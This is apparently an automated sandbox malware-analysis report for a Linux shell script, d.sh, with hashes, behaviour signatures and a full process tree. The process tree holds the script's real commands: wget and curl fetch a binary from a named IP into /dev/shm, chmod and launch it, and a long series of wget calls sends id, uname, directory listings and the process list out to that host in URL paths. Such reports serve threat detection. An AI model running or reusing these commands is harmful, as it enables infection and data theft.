23ab402769c82205287e2d474ec599768f193697a3bfe3ed3aa37cf068e16e0a

Analysis

max time kernel
40s
max time network
43s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30/09/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d.sh
Size 1KB
Sample260930-phmb5sxaqf
SHA256 23ab402769c82205287e2d474ec599768f193697a3bfe3ed3aa37cf068e16e0a
MD5 e36af5b892768e88b0198c8d4ca5f37f
SHA1 2ea040d66046e8bffa145756695cc0b15c3e7cae
SHA512 dcc3f6f1ed209dc4575ea881531f72521869e0312c06549e3fe6d83b901eea943e166fb1e3087472f7300b689c3a379f926abcddfc4e431ec5ac7edb8a3d5e45
TLSH
T14B216AB4F4389D30354EC83E6F4998817AC72D3B4ABD3A64A4439938346C6DD711DB7A
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
683	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/dev/shm/.tdk644	684	d.sh
/dev/shm/.tdk644	686	setsid

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 4 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/25/cmdline	ps
File opened for reading	/proc/167/status	ps
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/633/cmdline	ps
File opened for reading	/proc/26/status	ps
File opened for reading	/proc/209/status	ps
File opened for reading	/proc/279/cmdline	ps
File opened for reading	/proc/2/cmdline	ps
File opened for reading	/proc/19/status	ps
File opened for reading	/proc/141/cmdline	ps
File opened for reading	/proc/675/stat	ps
File opened for reading	/proc/sys/kernel/osrelease	ps
File opened for reading	/proc/103/stat	ps
File opened for reading	/proc/320/cmdline	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/303/status	ps
File opened for reading	/proc/stat	ps
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/28/status	ps
File opened for reading	/proc/584/status	ps
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/275/stat	ps
File opened for reading	/proc/42/stat	ps
File opened for reading	/proc/565/status	ps
File opened for reading	/proc/585/status	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/209/status	ps
File opened for reading	/proc/647/cmdline	ps
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/11/cmdline	ps
File opened for reading	/proc/43/cmdline	ps
File opened for reading	/proc/641/status	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/156/status	ps
File opened for reading	/proc/303/status	ps
File opened for reading	/proc/26/stat	ps
File opened for reading	/proc/209/status	ps
File opened for reading	/proc/640/status	ps
File opened for reading	/proc/309/status	ps
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/19/status	ps
File opened for reading	/proc/26/stat	ps
File opened for reading	/proc/43/status	ps
File opened for reading	/proc/565/stat	ps
File opened for reading	/proc/633/stat	ps
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/275/cmdline	ps
File opened for reading	/proc/580/cmdline	ps
File opened for reading	/proc/6/status	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/137/stat	ps
File opened for reading	/proc/578/status	ps
File opened for reading	/proc/642/status	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/105/stat	ps

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1052	wget

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.tdk644	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.dkout	d.sh

/tmp/d.sh
/tmp/d.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:644
- /usr/bin/wget
  wget -q -T 5 -O /dev/null http://164.68.109.244/dk-start
  2⤵
  PID:645
- /usr/bin/id
  id
  2⤵
  - Reads runtime system information
  PID:670
- /bin/uname
  uname -smr
  2⤵
  PID:672
- /bin/ls
  ls -la /tmp /dev/shm /.cache /data
  2⤵
  PID:673
- /usr/bin/head
  head -50
  2⤵
  PID:674
- /bin/sed
  sed -n "1,50p"
  2⤵
  PID:676
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:675
- /bin/grep
  grep -E "xmrig|kinsing|kdevtmpfsi|minerd|sysrv|\\.x86|\\.i686|/tmp/\\.|/dev/shm/\\."
  2⤵
  PID:679
- /bin/grep
  grep -v grep
  2⤵
  PID:680
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:678
- /usr/bin/wget
  wget -q -T 8 -O /dev/shm/.tdk644 http://164.68.109.244/bins/1e
  2⤵
  - Writes file to shm directory
  PID:681
- /usr/bin/curl
  curl -fsS --max-time 8 -o /dev/shm/.tdk644 http://164.68.109.244/bins/1e
  2⤵
  - Checks CPU configuration
  PID:682
- /bin/chmod
  chmod 777 /dev/shm/.tdk644
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /dev/shm/.tdk644
  /dev/shm/.tdk644 --self-check
  2⤵
  PID:684
- /bin/sh
  /bin/sh /dev/shm/.tdk644 --self-check
  2⤵
  PID:684
- /bin/sleep
  sleep 3
  2⤵
  PID:687
- /usr/bin/setsid
  setsid /dev/shm/.tdk644 应用-diagk
  2⤵
  - Executes dropped EXE
  PID:686
- /dev/shm/.tdk644
  /dev/shm/.tdk644 应用-diagk
  2⤵
  PID:686
- /bin/sh
  /bin/sh /dev/shm/.tdk644 应用-diagk
  2⤵
  PID:686
- /bin/ps
  ps -p 686
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:734
- /bin/sleep
  sleep 8
  2⤵
  PID:737
- /bin/ps
  ps -p 686
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:768
- /usr/bin/head
  head
  2⤵
  PID:770
- /bin/ls
  ls -la /.cache
  2⤵
  PID:769
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:773
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:774
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/1/ID=uid=0(root).gid=0(root).groups=0(root)"
  2⤵
  PID:775
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:779
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:778
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/2/UN=Linux.4.9.0-13-armmp-lpae.armv7l"
  2⤵
  PID:780
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:783
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:784
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/3/HOME="
  2⤵
  PID:785
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:788
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:789
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/4/EXE
  2⤵
  PID:790
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:793
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:794
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/5/_dev_shm:
  2⤵
  PID:795
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:798
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:799
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/6/total.0
  2⤵
  PID:800
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:803
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:804
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/7/drwxrwxrwt..2.root.root...40.May.13.17:36..
  2⤵
  PID:805
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:809
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:808
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/8/drwxr-xr-x.13.root.root.2740.May.13.17:36...
  2⤵
  PID:810
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:814
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:813
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/9/
  2⤵
  PID:815
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:818
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:819
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/10/_tmp:
  2⤵
  PID:820
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:824
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:823
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/11/total.40
  2⤵
  PID:826
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:830
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:831
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/12/drwxrwxrwt..8.root.root.4096.Sep.30.13:19..
  2⤵
  PID:832
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:836
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:835
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/13/drwxr-xr-x.21.root.root.4096.May.13.19:36...
  2⤵
  PID:837
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:841
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:840
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/14/-rw-r--r--..1.root.root...88.Sep.30.13:19..dkout
  2⤵
  PID:842
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:845
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:846
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/15/-rwxr-xr-x..1.root.root.1196.May.13.17:38.d.sh
  2⤵
  PID:847
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:850
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:851
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/16/drwxrwxrwt..2.root.root.4096.May.13.17:36..font-unix
  2⤵
  PID:852
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:856
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:855
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/17/drwxrwxrwt..2.root.root.4096.May.13.17:36..ICE-unix
  2⤵
  PID:857
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:861
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:860
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/18/drwx------..3.root.root.4096.May.13.17:38.systemd-private-9ed75c964312437497bd877dc7fab92c-systemd-t
  2⤵
  PID:862
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:865
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:866
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/19/drwxrwxrwt..2.root.root.4096.May.13.17:36..Test-unix
  2⤵
  PID:867
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:871
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:870
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/20/drwxrwxrwt..2.root.root.4096.May.13.17:36..X11-unix
  2⤵
  PID:872
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:876
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:875
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/21/drwxrwxrwt..2.root.root.4096.May.13.17:36..XIM-unix
  2⤵
  PID:877
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:881
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:880
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/22/PS
  2⤵
  PID:882
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:885
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:886
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/23/UID........PID..PPID..C.STIME.TTY..........TIME.CMD
  2⤵
  PID:887
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:890
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:891
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/24/root.........1.....0..2.13:17.?........00:00:03._sbin_init"
  2⤵
  PID:892
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:896
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:895
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/25/root.........2.....0..0.13:17.?........00:00:00.[kthreadd]"
  2⤵
  PID:897
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:900
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:901
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/26/root.........3.....2..0.13:17.?........00:00:00.[ksoftirqd_0]"
  2⤵
  PID:902
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:905
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:906
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/27/root.........4.....2..0.13:17.?........00:00:00.[kworker_0:0]"
  2⤵
  PID:907
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:910
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:911
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/28/root.........5.....2..0.13:17.?........00:00:00.[kworker_0:0H]"
  2⤵
  PID:912
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:915
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:916
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/29/root.........6.....2..0.13:17.?........00:00:00.[kworker_u2:0]"
  2⤵
  PID:917
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:921
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:920
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/30/root.........7.....2..0.13:17.?........00:00:00.[rcu_sched]"
  2⤵
  PID:922
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:925
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:926
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/31/root.........8.....2..0.13:17.?........00:00:00.[rcu_bh]"
  2⤵
  PID:927
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:930
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:931
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/32/root.........9.....2..0.13:17.?........00:00:00.[migration_0]"
  2⤵
  PID:932
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:935
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:936
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/33/root........10.....2..0.13:17.?........00:00:00.[lru-add-drain]"
  2⤵
  PID:937
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:941
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:940
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/34/root........11.....2..0.13:17.?........00:00:00.[watchdog_0]"
  2⤵
  PID:942
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:945
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:946
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/35/root........12.....2..0.13:17.?........00:00:00.[cpuhp_0]"
  2⤵
  PID:947
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:950
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:951
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/36/root........13.....2..0.13:17.?........00:00:00.[kdevtmpfs]"
  2⤵
  PID:952
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:955
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:956
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/37/root........14.....2..0.13:17.?........00:00:00.[netns]"
  2⤵
  PID:957
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:961
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:960
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/38/root........15.....2..0.13:17.?........00:00:00.[khungtaskd]"
  2⤵
  PID:962
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:966
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:965
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/39/root........16.....2..0.13:17.?........00:00:00.[oom_reaper]"
  2⤵
  PID:967
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:971
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:970
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/40/root........17.....2..0.13:17.?........00:00:00.[writeback]"
  2⤵
  PID:972
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:975
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:976
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/41/root........18.....2..0.13:17.?........00:00:00.[kcompactd0]"
  2⤵
  PID:977
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:981
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:980
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/42/root........19.....2..0.13:17.?........00:00:00.[ksmd]"
  2⤵
  PID:982
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:986
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:987
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/43/root........20.....2..0.13:17.?........00:00:00.[kworker_0:1]"
  2⤵
  PID:989
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:993
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:992
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/44/root........21.....2..0.13:17.?........00:00:00.[khugepaged]"
  2⤵
  PID:994
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:998
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:997
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/45/root........22.....2..0.13:17.?........00:00:00.[crypto]"
  2⤵
  PID:1002
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1005
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1006
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/46/root........23.....2..0.13:17.?........00:00:00.[kintegrityd]"
  2⤵
  PID:1007
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1010
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1011
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/47/root........24.....2..0.13:17.?........00:00:00.[bioset]"
  2⤵
  PID:1012
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1016
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1015
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/48/root........25.....2..0.13:17.?........00:00:00.[kblockd]"
  2⤵
  PID:1017
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1020
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1021
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/49/root........26.....2..0.13:17.?........00:00:00.[devfreq_wq]"
  2⤵
  PID:1022
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1026
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1025
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/50/root........27.....2..0.13:17.?........00:00:00.[watchdogd]"
  2⤵
  PID:1027
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1031
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1030
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/51/root........28.....2..0.13:17.?........00:00:00.[kswapd0]"
  2⤵
  PID:1032
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1035
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1036
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/52/root........29.....2..0.13:17.?........00:00:00.[vmstat]"
  2⤵
  PID:1037
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1041
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1040
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/53/root........41.....2..0.13:17.?........00:00:00.[kthrotld]"
  2⤵
  PID:1042
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1045
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1046
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/54/root........42.....2..0.13:17.?........00:00:00.[kapmd]"
  2⤵
  PID:1047
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1051
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1050
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/55/root........43.....2..0.13:17.?........00:00:00.[ipv6_addrconf]"
  2⤵
  - System Network Configuration Discovery
  PID:1052
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1056
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1055
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/56/root........73.....2..0.13:17.?........00:00:00.[bioset]"
  2⤵
  PID:1057
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1061
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1060
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/57/root........94.....2..0.13:17.?........00:00:00.[kworker_u3:0]"
  2⤵
  PID:1062
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1065
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1066
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/58/root.......103.....2..0.13:17.?........00:00:00.[kworker_0:1H]"
  2⤵
  PID:1067
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1070
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1071
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/59/root.......105.....2..0.13:17.?........00:00:00.[jbd2_vda1-8]"
  2⤵
  PID:1072
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1075
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1076
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/60/root.......106.....2..0.13:17.?........00:00:00.[ext4-rsv-conver]"
  2⤵
  PID:1077
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1080
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1081
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/61/root.......135.....1..0.13:17.?........00:00:00._lib_systemd_systemd-journald"
  2⤵
  PID:1082
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1086
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1085
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/62/root.......137.....2..0.13:17.?........00:00:00.[kworker_u2:1]"
  2⤵
  PID:1087
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1090
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1091
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/63/root.......138.....2..0.13:17.?........00:00:00.[kworker_0:2]"
  2⤵
  PID:1092
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1095
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1096
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/64/root.......141.....2..0.13:17.?........00:00:00.[kworker_0:3]"
  2⤵
  PID:1097
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1101
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1100
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/65/root.......156.....2..0.13:17.?........00:00:00.[kauditd]"
  2⤵
  PID:1102
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1106
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1105
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/66/root.......167.....1..0.13:17.?........00:00:00._lib_systemd_systemd-udevd"
  2⤵
  PID:1107
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1111
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1110
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/67/root.......209.....1..0.13:17.?........00:00:00._sbin_auditd.-n"
  2⤵
  PID:1112
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1116
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1115
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/68/root.......272.....1..0.13:17.?........00:00:00._lib_systemd_systemd-logind"
  2⤵
  PID:1117
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1121
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1120
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/69/daemon.....275.....1..0.13:17.?........00:00:00._usr_sbin_atd.-f"
  2⤵
  PID:1122
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1126
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1125
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/70/message+...279.....1..0.13:17.?........00:00:00._usr_bin_dbus-daemon.--system.--address=systemd:.--n"
  2⤵
  PID:1127
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1130
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1131
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/71/root.......294.....1..0.13:17.?........00:00:00._sbin_dhclient.-4.-v.-pf._run_dhclient.eth0.pid.-lf."
  2⤵
  PID:1132
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1135
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1136
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/72/root.......303.....1..0.13:17.?........00:00:00._usr_sbin_rsyslogd.-n"
  2⤵
  PID:1137
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1140
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1141
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/73/COMP
  2⤵
  PID:1142
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1146
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1145
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/74/START1E
  2⤵
  PID:1147
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1151
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1150
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/75/curl:.(22).The.requested.URL.returned.error:.502.Bad.Gateway"
  2⤵
  PID:1152
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1156
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1155
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/76/SC=0"
  2⤵
  PID:1157
